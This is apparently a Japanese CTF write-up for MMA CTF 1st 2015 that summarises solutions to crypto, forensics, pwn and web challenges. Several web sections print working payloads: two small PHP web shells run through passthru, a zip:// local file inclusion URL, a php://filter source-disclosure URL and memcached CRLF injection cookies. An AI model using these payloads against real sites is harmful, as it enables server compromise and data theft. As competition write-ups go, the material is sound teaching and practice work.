2015年9月9日水曜日

MMA CTF 1st 2015


チーム「mage」でぼっち参戦しました。「MMAと言えば暗号」というイメージがあったので、激つらcryptoで攻められるんだろうな…と思っていたのですが、蓋を開けてみれば良質なWeb問にもありつけ、大変有意義なCTFでした。以下、writeup~

Welcome!!

やるだけ。
MMA{Welcome_To_MMACTF!!}

Splitted

pcapファイルを与えられました。適当に見てたらHTTPのRangeヘッダで分割取得されたzipファイルが降ってきたので、適当に結合して解凍したらpsdファイルが出てきました。photoshopで開いてレイヤーごにょごにょして終了。


How to use?

よくわからない謎のDLLファイルを与えられました。それっぽいところをデコンパイルし、適当にpythonに落としこんで実行したらflagが降ってきました。

https://gist.github.com/m---/4fb246a1cb4192dd351d
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}

Login as admin!

ログインフォームとtestアカウントを与えられました。

usernameに「'」を突っ込むと次のエラーが出力されたのでsqli自明でした。
unrecognized token: "''' AND password = '' limit 1;"
とりあえず、adminでログインしたら「The flag is your password!~w」とか言われたので、blind sqliで抜きました。
https://gist.github.com/m---/95eb465826cd2699e954
MMA{cats_alice_band}

というか、ログイン時にusernameが出力されるのだから、union selectでpassword持ってくればいいだけですよね。
出典:MMA CTF 1st 2015 Write-up - kusano_k’s blog

Smart Cipher System 1

平文を与えると暗号が返ってくるwebサービスと暗号化flagを与えられました。
asciiコード - 23 してるだけっぽいので、適当に+23したらデコードできました。
https://gist.github.com/m---/13b6ba2b7e95e1475683
MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

Smart Cipher System 2

「Smart Cipher System」ステージ2。0x00-0xff投げて換字表作って終了。
https://gist.github.com/m---/1660fdb181982127bdd0
MMA{f52da776412888170f282a9105d2240061c45dad}

RPS

じゃんけんで50連勝するとflagが降ってくるサービスを与えられました。
最初に「What's your name:」とか聞かれるので、適当にデカい値ぶち込んだらeip取れました。
とりあえず、じゃんけん50連勝後(0x400A95)に飛ばそうとしたのですが、入力はgets関数で取ってきているみたいで0x0Aを含めることができず、いきなりそこには飛ばせません。。。よくできていますね。

そこで、0x0Aを含めないじゃんけんループ直前に処理を飛ばし、即ループを終了させるよう [rbp+var_4] に0x32以上の値を指すアドレスがくるようスタックを調整することで、じゃんけんを回避してflagが降ってきました。

https://gist.github.com/m---/4ea8e926cc716b0c74c1
MMA{treed_three_girls}

Mortal Magi Agents

よくわからんWebサイトを与えられました。
?page=home とかいうURLが存在していたので、phpスキームでソースコード奪取自明でした。
http://magiagents.chal.mmactf.link/?page=php://filter/read=convert.base64-encode/resource=index
拾ってきたソースコードを眺めていると、settings.phpでファイル名不自由で任意のファイルをアップロードできることがわかり、local file inclusion自明でした。
if (isset($_FILES["file"])) {
    if ($_FILES['file']['type'] == "image/jpeg") {
        $ext = ".jpg";
    }
    else if ($_FILES['file']['type'] == "image/gif") {
        $ext = ".gif";
    }
    else if ($_FILES['file']['type'] == "image/png") {
        $ext = ".png";
    }
    $filename = "avators/" . $_SESSION["user"] . sha1_file($_FILES['file']['tmp_name']) . $ext;
    move_uploaded_file($_FILES['file']['tmp_name'], $filename);
    
    $_SESSION["avator"] = $filename;
    $db = new SQLite3("../db/users.db");
    $db->exec("UPDATE users SET avator = '$filename' WHERE name = '".$_SESSION['user']."'");
}
zipスキームを使えば zip://path/to/zip#mage.php みたいな形で圧縮ファイルにアクセスできるので、
次のphpファイルをzip圧縮→アップロードからのlocal file inclusionでシェルとりました。
<?php
    // mage.php
    passthru($_GET['c']);
http://magiagents.chal.mmactf.link/?c=cat+../flag&page=zip://path/to/zip/%23mage
MMA{5ded4df85bb8785f9cff08268703278c4e18e3fd}
他にlogin.phpにsqliがあることがわかっていたのですが、結局それは生かせませんでした。
フェイクにしては手が込んでいるなと思っていたのですが、案の定、想定解ではないようです。

Pattern Lock

Androidのパターンロックは何通り?というPPC。
既に調べてる人居るんじゃね?と考え、「Android ロック 何通り」でググったら降ってきました。
https://www.google.co.jp/search?q=android+ロック+何通り
MMA{389112}

MQAAAA

base64文字列を与えられました。デコードするとvbscript encodeされたスクリプトが出てきたので、
vbeファイルで保存し、実行するとflagが出てきました。
MMA{the_flag_word_is_obfuscation}

Nagoya Castle

名古屋城の自撮りを与えられました。

stegsolveに食わせて適当にポチポチして終了。

MMA{raw_cr3am_pasta!}

Uploader

任意のファイルをアップロードできるwebサービスを与えられました。
ただし、/<\?|php/ は削除されるらしく、当然 <php?= ~wとかダメでした。
大文字「PHP」は消されないみたいなので、次のphpファイルをぶち込んだらシェルとれました。
<script language="PHP">passthru($_GET['c']);</script>
MMA{you can run php from script tag}

stream...

pcapngファイルを与えられました。唯一のHTTPリクエストを眺めるとapplication/x-mms-framed なるファイルのやり取りをしていました。どうやら Microsoft Media Server data packets というものらしいです。
https://msdn.microsoft.com/en-us/library/cc251177.aspx
とりあえず抜いたファイルを適当なHTTPサーバにぶち込み、VLCから mms://localhost/path/to/mms にアクセスするとflagが降ってきました。


Alphabet Programming

/\A[a-z \r\n]+\Z/ かつ改行25個まで受け付けてevalしてくれる、ruby製webサービスを与えられました。
最初は真面目にPPCで解こうと頑張っていたのですが、rubyの組み込み関数を調べていると gets なる素敵関数を見つけました。引数をファイル名として扱い、そのファイルの一行目を読んで返してくれるらしいです。
また、CGIはQUERY_STRINGを引数として扱うので、次のようなリクエストを投げたらflagが降ってきました。
# curl -d "program=gets" http://recocta.chal.mmactf.link:8080/?flag
※総コード量: 4bytes
MMA{c731894a0a5f350d16d0c8aab4e66b03}

Login As Admin!(2)

Login As Admin!と似たようなWebページを与えられました。ただし、次の点で異なっています。
  • 微妙に見た目が良い
  • Passengerで動いている(けどSESSIONがruby製フレームワークによくある形でない)
  • ログインフォームに何突っ込んでも例外エラーが出ない
以上により、SESSIONがあやしいことは自明です。SESSIONキーであるCookieのss値をいじっていると「Cookie: ss=」の時に、次のようなエラーが出力されました。

memcached injection自明ですね。 適当に
Cookie: ss=%0d%0astats items%0d%0a
とか突っ込んだらエラーページ上にslabidが降ってきたので、cachedumpでss値っぽいキーをdumpし、
Cookie: ss=%0d%0astats cachedump 3 0%0d%0a
MemcacheError:ERROR
ITEM 958a57ade06ab800dd5e1147e4767ebc00ee1142840220bc720e255f18d70731 [19 b; 1441758795 s]
ITEM ec8aa3ffca7208151b5e923af87124f9ef7211bc829a76a412e79594af772f77 [20 b; 1441494967 s]
ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s]
ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s]
ITEM 03541c4a8c79cf0b32c544b9ad2024c1ceaf1dd4088c3643f76099f0ab404108 [19 b; 1441737370 s]
ITEM 8b9f4cc386b7d6caef3511fa1d1d78878c42686856acac9983be5c75ce4a32c7 [19 b; 1441721355 s]
ITEM 9aab1e3e6be1bc71146451b38a26782f6d47807dd018f4b0698ce0f44526b97b [19 b; 1441722330 s]
ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s]
ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s]
...
そこから最古のss値を使ってアクセスするとflagが降ってきました。
MMA{61016d84e70e0b5ed5c03e4e398c3571}

その他

残念ながらメインの暗号問は殆ど解けませんでしたが、他ジャンルの問題だけでも十分楽しめる質と量でした。
MMA各位、運営お疲れ様でした☆(ゝω・)v